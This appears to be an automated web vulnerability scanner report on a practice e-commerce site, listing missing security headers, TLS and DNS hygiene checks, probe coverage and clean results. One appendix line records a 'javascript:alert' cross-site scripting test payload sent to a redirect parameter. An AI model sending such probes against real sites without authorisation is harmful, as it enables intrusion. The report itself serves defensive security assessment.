No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.
Missing Referrer-Policy header
No referrer policy: full URLs may leak to third parties.
Missing Referrer-Policy header
No referrer policy: full URLs may leak to third parties.
Missing Referrer-Policy header
No referrer policy: full URLs may leak to third parties.
Missing Referrer-Policy header
No referrer policy: full URLs may leak to third parties.
Missing Referrer-Policy header
No referrer policy: full URLs may leak to third parties.
Missing X-Content-Type-Options header
Missing nosniff: browsers may MIME-sniff responses.
Missing X-Content-Type-Options header
Missing nosniff: browsers may MIME-sniff responses.
Missing X-Content-Type-Options header
Missing nosniff: browsers may MIME-sniff responses.
Missing X-Content-Type-Options header
Missing nosniff: browsers may MIME-sniff responses.
Missing X-Content-Type-Options header
Missing nosniff: browsers may MIME-sniff responses.
No framing protection (X-Frame-Options / frame-ancestors)
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive
No framing protection (X-Frame-Options / frame-ancestors)
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive
No framing protection (X-Frame-Options / frame-ancestors)
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive
No framing protection (X-Frame-Options / frame-ancestors)
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive
No framing protection (X-Frame-Options / frame-ancestors)
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive

Reproduce

request GET https://sekumart.sekuripy.hr/ bytes
request GET https://sekumart.sekuripy.hr/setcurr.php?c=USD bytes
request GET https://sekumart.sekuripy.hr/setlevel.php?l=low bytes
request GET https://sekumart.sekuripy.hr/account.php bytes
request GET https://sekumart.sekuripy.hr/admin.php bytes
request GET https://sekumart.sekuripy.hr/apiv1.php bytes

Detection details — how this was found and rated

checks: config/headers
rating basis: P5 - technology disclosure via headers
class: headers config

All supporting observations

Debug / technology disclosure headers config/headers · info
Response advertises implementation details: x-powered-by

url https://sekumart.sekuripy.hr/
Debug / technology disclosure headers config/headers · info
Response advertises implementation details: x-powered-by

url https://sekumart.sekuripy.hr/setcurr.php?c=USD
Debug / technology disclosure headers config/headers · info
Response advertises implementation details: x-powered-by

url https://sekumart.sekuripy.hr/setlevel.php?l=low
Missing Permissions-Policy header config/headers · info
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.

url https://sekumart.sekuripy.hr/ status 200
Missing Permissions-Policy header config/headers · info
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.

url https://sekumart.sekuripy.hr/account.php status 200
Missing Permissions-Policy header config/headers · info
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.

url https://sekumart.sekuripy.hr/admin.php status 200
Missing Permissions-Policy header config/headers · info
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.

url https://sekumart.sekuripy.hr/setcurr.php?c=USD status 302
Missing Permissions-Policy header config/headers · info
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.

url https://sekumart.sekuripy.hr/setlevel.php?l=low status 302
Missing Referrer-Policy header config/headers · info
No referrer policy: full URLs may leak to third parties.

url https://sekumart.sekuripy.hr/ status 200
Missing Referrer-Policy header config/headers · info
No referrer policy: full URLs may leak to third parties.

url https://sekumart.sekuripy.hr/account.php status 200
Missing Referrer-Policy header config/headers · info
No referrer policy: full URLs may leak to third parties.

url https://sekumart.sekuripy.hr/admin.php status 200
Missing Referrer-Policy header config/headers · info
No referrer policy: full URLs may leak to third parties.

url https://sekumart.sekuripy.hr/setcurr.php?c=USD status 302
Missing Referrer-Policy header config/headers · info
No referrer policy: full URLs may leak to third parties.

url https://sekumart.sekuripy.hr/setlevel.php?l=low status 302
Missing X-Content-Type-Options header config/headers · info
Missing nosniff: browsers may MIME-sniff responses.

url https://sekumart.sekuripy.hr/ status 200
Missing X-Content-Type-Options header config/headers · info
Missing nosniff: browsers may MIME-sniff responses.

url https://sekumart.sekuripy.hr/account.php status 200
Missing X-Content-Type-Options header config/headers · info
Missing nosniff: browsers may MIME-sniff responses.

url https://sekumart.sekuripy.hr/admin.php status 200
Missing X-Content-Type-Options header config/headers · info
Missing nosniff: browsers may MIME-sniff responses.

url https://sekumart.sekuripy.hr/setcurr.php?c=USD status 302
Missing X-Content-Type-Options header config/headers · info
Missing nosniff: browsers may MIME-sniff responses.

url https://sekumart.sekuripy.hr/setlevel.php?l=low status 302
No framing protection (X-Frame-Options / frame-ancestors) config/headers · info
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/apiv1.php
No framing protection (X-Frame-Options / frame-ancestors) config/headers · info
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/api.php?callback=cb
No framing protection (X-Frame-Options / frame-ancestors) config/headers · info
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/image.php?file=
No framing protection (X-Frame-Options / frame-ancestors) config/headers · info
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/setcurr.php?c=USD
No framing protection (X-Frame-Options / frame-ancestors) config/headers · info
The document can be framed by any origin. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/setlevel.php?l=low

Context

Missing Cross-Origin-Opener-Policy header
No opener isolation: a cross-origin opener keeps a window reference.
Missing Cross-Origin-Opener-Policy header
No opener isolation: a cross-origin opener keeps a window reference.
Missing Cross-Origin-Opener-Policy header
No opener isolation: a cross-origin opener keeps a window reference.
Missing Cross-Origin-Opener-Policy header
No opener isolation: a cross-origin opener keeps a window reference.
Missing Cross-Origin-Opener-Policy header
No opener isolation: a cross-origin opener keeps a window reference.
Missing Cross-Origin-Resource-Policy header
No resource policy: responses may be embedded by any origin.
Missing Cross-Origin-Resource-Policy header
No resource policy: responses may be embedded by any origin.
Missing Cross-Origin-Resource-Policy header
No resource policy: responses may be embedded by any origin.
Missing Cross-Origin-Resource-Policy header
No resource policy: responses may be embedded by any origin.
Missing Cross-Origin-Resource-Policy header
No resource policy: responses may be embedded by any origin.

GEThttps://sekumart.sekuripy.hr/ Security programme hygiene confirmed · high confidence BO-005 info

Evidence. No CAA record was found for sekumart.sekuripy.hr or its parents. Every public certificate authority may issue for this name, so a single mis-validation at any CA produces a certificate browsers accept.

How to fix. Serve /.well-known/security.txt with Contact and Expires as RFC 9116 requires, and diary the expiry. Add a CAA record naming the authorities you actually use, plus iodef so attempted issuance elsewhere is reported to you.

What we verified The well-known path was fetched and parsed, and the DNS zone was queried for CAA records.

What this can lead toNeither of these is a vulnerability. Without a published contact, somebody who finds one has no route to report it and will use whatever route they have. Without CAA, any public authority may issue for this name. Assessment boundary: Nothing was exploited, and neither observation affects the severity of any other finding.

How to fixServe /.well-known/security.txt with Contact and Expires as RFC 9116 requires, and diary the expiry. Add a CAA record naming the authorities you actually use, plus iodef so attempted issuance elsewhere is reported to you.

affected: 2 routes https://sekumart.sekuripy.hr/, https://sekumart.sekuripy.hr/.well-known/security.txt
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
standards: ISO/IEC 27001 2022A.5.24, A.8.24 NIST CSF 2.0ID.RA-01, PR.DS-02

Decisive evidence

No CAA record restricts certificate issuance confirmed

No CAA record was found for sekumart.sekuripy.hr or its parents. Every public certificate authority may issue for this name, so a single mis-validation at any CA produces a certificate browsers accept.

host

sekumart.sekuripy.hr

checked

sekumart.sekuripy.hr

Additional corroboration — 1

No security.txt published
/.well-known/security.txt is not served (404). A researcher who finds something here has no published way to report it.

Reproduce

note bytes
request GET https://sekumart.sekuripy.hr/.well-known/security.txt bytes

Detection details — how this was found and rated

checks: recon/hygiene
rating basis: P5 - any public CA may issue for this name
class: hygiene recon

All supporting observations

No CAA record restricts certificate issuance recon/hygiene · info
No CAA record was found for sekumart.sekuripy.hr or its parents. Every public certificate authority may issue for this name, so a single mis-validation at any CA produces a certificate browsers accept.

host sekumart.sekuripy.hr checked sekumart.sekuripy.hr
No security.txt published recon/hygiene · info
/.well-known/security.txt is not served (404). A researcher who finds something here has no published way to report it.

url https://sekumart.sekuripy.hr/.well-known/security.txt status 404

GEThttps://sekumart.sekuripy.hr TLS configuration confirmed · high confidence BO-006 info

Evidence. Hostname matches, chain is trusted, 73 days remaining, negotiated TLSv1.3 with TLS_AES_128_GCM_SHA256.

How to fix. Disable TLS 1.0 and 1.1 and every null, export, RC4, DES and 3DES suite; require TLS 1.2 with forward-secret suites as the minimum, and prefer 1.3. Automate renewal so expiry is not an operational event.

What we verified Handshakes were completed against this host, each pinned to one protocol version, plus one verifying handshake for the certificate.

What this can lead toA legacy protocol or a weak suite permits downgrade and decryption by an attacker on the network path. An untrusted or expired certificate trains users to click through the warning that an interception also produces. Assessment boundary: Cipher suites were not enumerated one at a time, and no downgrade was attempted against a live client.

How to fixDisable TLS 1.0 and 1.1 and every null, export, RC4, DES and 3DES suite; require TLS 1.2 with forward-secret suites as the minimum, and prefer 1.3. Automate renewal so expiry is not an operational event.

location: GET https://sekumart.sekuripy.hr
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-326 · WASC-4
standards: OWASP Top 10 2025A04:2025 OWASP ASVS 5.0.0V11, V12 OWASP WSTG 4.2WSTG-CRYP-01 ISO/IEC 27001 2022A.8.24, A.8.20 NIST CSF 2.0PR.DS-02 PCI DSS 4.0.14.2.1

Decisive evidence

Certificate valid confirmed

Hostname matches, chain is trusted, 73 days remaining, negotiated TLSv1.3 with TLS_AES_128_GCM_SHA256.

host

sekumart.sekuripy.hr

port

443

subject

commonName=sekumart.sekuripy.hr

issuer

countryName=US, organizationName=Let's Encrypt, commonName=YR2

not after

Nov 30 04:53:01 2026 GMT

days remaining

version

TLSv1.3

cipher

TLS_AES_128_GCM_SHA256

san count

Additional corroboration — 2

Legacy TLS protocols refused
TLSv1.0, TLSv1.1 refused; TLSv1.2, TLSv1.3 negotiated.
Weak cipher families refused
The host refused a handshake offering only null, export, RC4, DES and 3DES suites. Individual suites were not enumerated.

Reproduce

note bytes
note bytes
note bytes

Detection details — how this was found and rated

checks: config/tls
rating basis: P5 - hostname, chain and expiry sound
class: tls config

All supporting observations

Certificate valid config/tls · info
Hostname matches, chain is trusted, 73 days remaining, negotiated TLSv1.3 with TLS_AES_128_GCM_SHA256.

host sekumart.sekuripy.hr port 443 subject commonName=sekumart.sekuripy.hr issuer countryName=US, organizationName=Let's Encrypt, commonName=YR2 not after Nov 30 04:53:01 2026 GMT days remaining 73 version TLSv1.3 cipher TLS_AES_128_GCM_SHA256 san count 1
Legacy TLS protocols refused config/tls · info
TLSv1.0, TLSv1.1 refused; TLSv1.2, TLSv1.3 negotiated.

host sekumart.sekuripy.hr port 443
Weak cipher families refused config/tls · info
The host refused a handshake offering only null, export, RC4, DES and 3DES suites. Individual suites were not enumerated.

host sekumart.sekuripy.hr port 443 offered aNULL:eNULL:EXPORT:DES:3DES:RC4:MD5:SEED:IDEA:PSK:SRP@SECLEVEL=0

Method and coverage

Parameters first receive a bounded triage echelon: ordinary values get a baseline plus an alphanumeric alternate, while integer-shaped values get a baseline, a valid alternate and an arithmetic-shaped value. Only signals earn stronger proof probes: 14736 active probes went to 164 input surfaces. Detection is differential - a claim needs a database error naming the engine, a payload the browser executed, or a condition that flips the response and then reproduces with constants the application has never seen.

How to read this report

Vulnerability: A weakness this run demonstrated. Each one states separately what was verified, what the class permits in general, and what was deliberately not attempted.
Needs validation: A real observation that did not reach proof. Worth a look; not yet a finding.
Observation: Attack surface and hardening. Not a weakness in itself.
Severity: Follows a published taxonomy rather than the scanner's opinion, so two reports on different applications rank the same weakness the same way.
Recorded requests: Reproduce a finding as-is. On an authenticated assessment the credential headers are replaced with a placeholder, so replaying one needs your own session.

Was this run complete?

Coverage is incomplete — read "no findings" accordingly This run ended as finished.

check recon/exposure failed during plan (ValueError)
1 probe target was not admitted because a soft check allocation cap was reached

measure	value
Actions used	15164 (unlimited)
Probes still queued	0
Probes deferred by action allocation	0
Surfaces never exercised	0 / 164
Surfaces deferred by transport dialect	0
Targets skipped by soft check caps	1

Active probe allocation

Queue state only: complete means every group that was queued by that check finished. It is not a clean-result claim. A pending row identifies work that an action limit or an interruption left behind.

check	groups done / running / queued / deferred	probes done / sent / queued / deferred	queue state
`access-control/authz`	5 / 0 / 0 / 0	20 / 0 / 0 / 0	complete
`access-control/open_redirect`	22 / 0 / 0 / 0	154 / 0 / 0 / 0	complete
`auth/jwt`	3 / 0 / 0 / 0	3 / 0 / 0 / 0	complete
`client/dom`	215 / 0 / 0 / 0	216 / 0 / 0 / 0	complete
`client/dom_pollution`	4 / 0 / 0 / 0	8 / 0 / 0 / 0	complete
`config/cors`	47 / 0 / 0 / 0	94 / 0 / 0 / 0	complete
`injection/cache_poisoning`	85 / 0 / 0 / 0	253 / 0 / 0 / 0	complete
`injection/command`	31 / 0 / 0 / 0	155 / 0 / 0 / 0	complete
`injection/graphql`	1 / 0 / 0 / 0	10 / 0 / 0 / 0	complete
`injection/header_injection`	3 / 0 / 0 / 0	12 / 0 / 0 / 0	complete
`injection/log4shell`	40 / 0 / 0 / 0	120 / 0 / 0 / 0	complete
`injection/nosqli`	30 / 0 / 0 / 0	155 / 0 / 0 / 0	complete
`injection/sqli`	316 / 0 / 0 / 0	3175 / 0 / 0 / 0	complete
`injection/ssrf`	58 / 0 / 0 / 0	261 / 0 / 0 / 0	complete
`injection/ssti`	30 / 0 / 0 / 0	60 / 0 / 0 / 0	complete
`injection/struts_ognl`	20 / 0 / 0 / 0	40 / 0 / 0 / 0	complete
`injection/traversal`	632 / 0 / 0 / 0	7263 / 0 / 0 / 0	complete
`injection/wp_batch_sqli`	1 / 0 / 0 / 0	5 / 0 / 0 / 0	complete
`injection/xmlrpc_pingback`	1 / 0 / 0 / 0	1 / 0 / 0 / 0	complete
`injection/xpath`	28 / 0 / 0 / 0	566 / 0 / 0 / 0	complete
`injection/xslt`	3 / 0 / 0 / 0	6 / 0 / 0 / 0	complete
`injection/xss`	30 / 0 / 0 / 0	131 / 0 / 0 / 0	complete
`recon/iis_shortname`	1 / 0 / 0 / 0	3 / 0 / 0 / 0	complete
`recon/param_mining`	83 / 0 / 0 / 0	1196 / 0 / 0 / 0	complete
`recon/triage`	271 / 0 / 0 / 0	829 / 0 / 0 / 0	complete

Targets skipped by soft allocation caps

These are deliberate request/precision controls, not clean results. The affected targets were not admitted to a proof group.

check	stage	path / parameter	limit	occurrences
`client/dom_pollution`	pollute		4	1

Checks that could not run: business-logic/workflowbusiness_logic/raceinjection/amplificationinjection/blind_xssinjection/drupal_renderinjection/gitlab_exiftoolinjection/hqlinjection/proto_pollutioninjection/smugglinginjection/xxeupload/file_uploadupload/unauth_connector

Software inventory 1 client-side component, CycloneDX 1.6

Generated from script assets the browser loaded, not from a manifest. That catches the CDN tag nobody declared, and it cannot see packages bundled into a single artefact. The machine-readable document is the sbom object in this report's JSON.

component	version	identifier
PHP	8.2.30	`pkg:generic/[email protected]` https://sekumart.sekuripy.hr/

Standards coverage

Every control below is one this scan produced evidence about. A scanner does not grant conformance with a standard — the verb per framework says exactly what the mapping claims, and controls this scan did not reach are shown greyed rather than omitted.

framework	assessed	controls
OWASP Top 10 2025 assessed at category level	9 / 9 9 with findings 5 partial	A01:2025A02:2025A03:2025A04:2025A05:2025A06:2025A07:2025A08:2025A10:2025
OWASP API Security Top 10 2023 assessed at category level	7 / 7 3 with findings 1 partial	API1:2023API2:2023API5:2023API6:2023API7:2023API8:2023API9:2023
OWASP ASVS 5.0.0 mapped at chapter level	12 / 12 11 with findings 7 partial	V1V2V3V4V5V7V8V9V10V11V12V13
OWASP WSTG 4.2 assessed at test level	32 / 33 18 with findings 5 partial	WSTG-APIT-01WSTG-ATHZ-01WSTG-ATHZ-02WSTG-ATHZ-03WSTG-ATHZ-04WSTG-BUSL-09WSTG-CLNT-01WSTG-CLNT-04WSTG-CLNT-05WSTG-CLNT-07WSTG-CONF-02WSTG-CONF-04WSTG-CONF-05WSTG-CONF-07WSTG-CONF-12WSTG-CRYP-01WSTG-CRYP-03WSTG-ERRH-01WSTG-INFO-02WSTG-INFO-08WSTG-INPV-01WSTG-INPV-02WSTG-INPV-05WSTG-INPV-06WSTG-INPV-07WSTG-INPV-09WSTG-INPV-12WSTG-INPV-15WSTG-INPV-18WSTG-INPV-19WSTG-SESS-02WSTG-SESS-05WSTG-SESS-10
ISO/IEC 27001 2022 supports at Annex A control level	12 / 13 11 with findings 8 partial	A.5.15A.5.21A.5.24A.8.2A.8.3A.8.5A.8.8A.8.9A.8.20A.8.24A.8.26A.8.28A.8.29
NIST CSF 2.0 supports at subcategory level	6 / 6 6 with findings 3 partial	ID.AM-02ID.RA-01PR.AA-05PR.DS-02PR.PS-01PR.PS-02
PCI DSS 4.0.1 supports at requirement level	8 / 9 8 with findings 4 partial	4.2.16.2.46.3.16.3.36.4.16.4.37.2.18.3.111.3.2

Identifiers reviewed 2026-08-22. The mapped subset is validated by tools/refresh_standards.py against the official machine-readable ASVS 5.0.0 and Top 10:2025 sources. Unmapped official controls are not assessed here.

Requests, by what they were for

traffic	requests	what it is
Active security probes	14736	Requests this scanner composed to test a parameter. Issued outside the page, so they do not appear in the browser log below.
Page loads	737	Documents the browser navigated to while mapping the application.
In-scope assets	1267	Scripts, stylesheets and images the pages themselves pulled from this origin.
Third-party requests	1265	Traffic your own pages send elsewhere - analytics, telemetry, CDNs. Not initiated by this assessment.
Total HTTP requests	18005	Everything above: 3269 from the browser plus 14736 probes.

What was reached

pages rendered: 373 page states over 43 distinct paths
input surfaces: 164 tested (164 exercised, 110 produced a signal)
forms: 10 seen, 9 submitted
application errors: 8 paths returned an interpreter error in the response body. Those arrive with HTTP 200, so they are not in the 0 HTTP 5xx count.
stopped because: agent-finished

How severity was assigned and which taxonomy version

Ratings are not per-check opinions. Every issue is mapped through one table keyed by vulnerability class and by how much this run actually established.

P1 · critical: Server-side injection, remote code execution, authentication bypass - routinely full compromise.
P2 · high: Stored XSS, cross-origin read of authenticated data - impact on other users without their action.
P3 · medium: Reflected and DOM XSS, session material in URLs - needs a crafted link or a network position.
P4 · low: Open redirect, cookie flags, stack traces - amplifies other attacks, rarely stands alone.
P5 · info: Hardening gaps and inventory. Not a vulnerability; recorded under Observations so the picture is complete.

taxonomy: Bugcrowd Vulnerability Rating Taxonomy, P1-P5 priorities
scoring cross-check: CVSS v3.1 base scores used as a cross-check. v4.0 is published and is not used here: these ratings are class baselines, not per-instance scores, and v3.1 remains what most triage workflows compare against.
mapping reviewed: 2026-08-21

A class is rated down when the evidence stops short: a boolean differential without an engine error is not the same claim as a database error naming the engine, and a precondition - DTD processing enabled, an upload form present - is never rated as the vulnerability it would enable. Every finding states separately what was verified, what the class permits, and what was not attempted.

Scope, exclusions and scan metadata what was in bounds, and the run's own numbers

scope: https://sekumart.sekuripy.hr/
excluded paths: logout, log-out, log_out, signout, sign-out, sign_out, signoff, sign-off, disconnect, endsession, end-session, abmelden, ausloggen, uitloggen, afmelden, deconnexion, deconnecter, se-deconnecter, cerrar-sesion, cerrarsesion, desconectar, salir, sair, encerrar-sessao, esci, disconnetti, logga-ut, logg-ut, wyloguj, odhlasit, odjava, kirjaudu-ulos, /delete, /destroy, /remove, ?action=logout, phpids=on, security=high, security=impossible, seclev=high, seclevel=high, safe_mode=on, safemode=on, waf=on, firewall=on, maintenance=on, readonly=on, read_only=on
destructive actions: blocked
probes not sent: 0
generated: 2026-09-17T10:53:32Z
duration: 480.04s over 15164 actions
run: run_de36897443724631
versions: agent 0.1.0 · engine · protocol 0.1

Appendix

Tested, nothing observed 137 results that were checked and came back clean

These were probed and produced no supporting signal, or were resolved by a follow-up test that explained them. A clean result is worth recording: it is the difference between "not vulnerable" and "not tested". Browser console noise from missing assets is also here rather than among findings.

what was tested	for	observation
`/go.php`	errors	Document request to https://sekumart.sekuripy.hr/go.php?url=javascript%3Aalert%28/sks3kyrvn/%29 failed: net::ERR_FAILED
`/source/`	errors	Failed to load resource: the server responded with a status of 404 ()
`/cart.php`	open redirect	Link exposes a redirect-style parameter `dest`.
`/catalog.php`	open redirect	Link exposes a redirect-style parameter `dest`.
`/go.php`	open redirect	Link exposes a redirect-style parameter `url`.
`/graphql`	graphql	Endpoint returns GraphQL-shaped responses.
`/sekumart.sekuripy.hr/login.php`	open redirect	Link exposes a redirect-style parameter `dest`.
`/config.php`	errors	Page rendered with effectively no visible content (text=0b, html=39b).
`author` /reviews.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`author` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`author` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`author` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`body` /reviews.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`body` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`body` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`body` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`callback` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`callback` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`callback` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`cat` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`cat` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`checkout` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`code` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`code` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`code` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`comment` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`comment` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`comment` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`content` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`content` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`content` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`curr`	xss	The value comes back in the response, but no exploitable context matched - the dangerous characters are filtered or the reflection is inert.
`curr` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`dest` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`dest` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`dest` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`fileName` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`fileName` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`fileName` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`filename` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`filename` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`filename` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`id` /sekumart.sekuripy.hr/product.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`id` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`id` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`key` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`key` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`key` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`message` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`message` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`message` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`name` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`name` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`name` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`next` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`next` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`next` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`order` /track.php	xss	The value comes back in the response, but no exploitable context matched - the dangerous characters are filtered or the reflection is inert.
`order` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`order` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`page` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`page` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`page` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`product_id` /reviews.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`product_id` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`product_id` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`product_id` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`q` /directory.php	xss	The value comes back in the response, but no exploitable context matched - the dangerous characters are filtered or the reflection is inert.
`q` /sekumart.sekuripy.hr/directory.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`q` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`q` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`query` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`query` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`query` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`redirect` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`redirect` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`redirect` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`returnTo` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`returnTo` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`returnTo` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`search` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`search` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`search` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`sort` /catalog.php	xss	The value comes back in the response, but no exploitable context matched - the dangerous characters are filtered or the reflection is inert.
`sort` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`target` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`target` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`target` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`template` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`template` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`template` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`text` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`text` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`text` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`title` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`title` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`title` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`url` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`url` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`url` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`user` /members.php	xss	The value comes back in the response, but no exploitable context matched - the dangerous characters are filtered or the reflection is inert.
`user` /sekumart.sekuripy.hr/members.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`user` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`user` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`username` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`username` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`value` /catalog.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`value` /cart.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
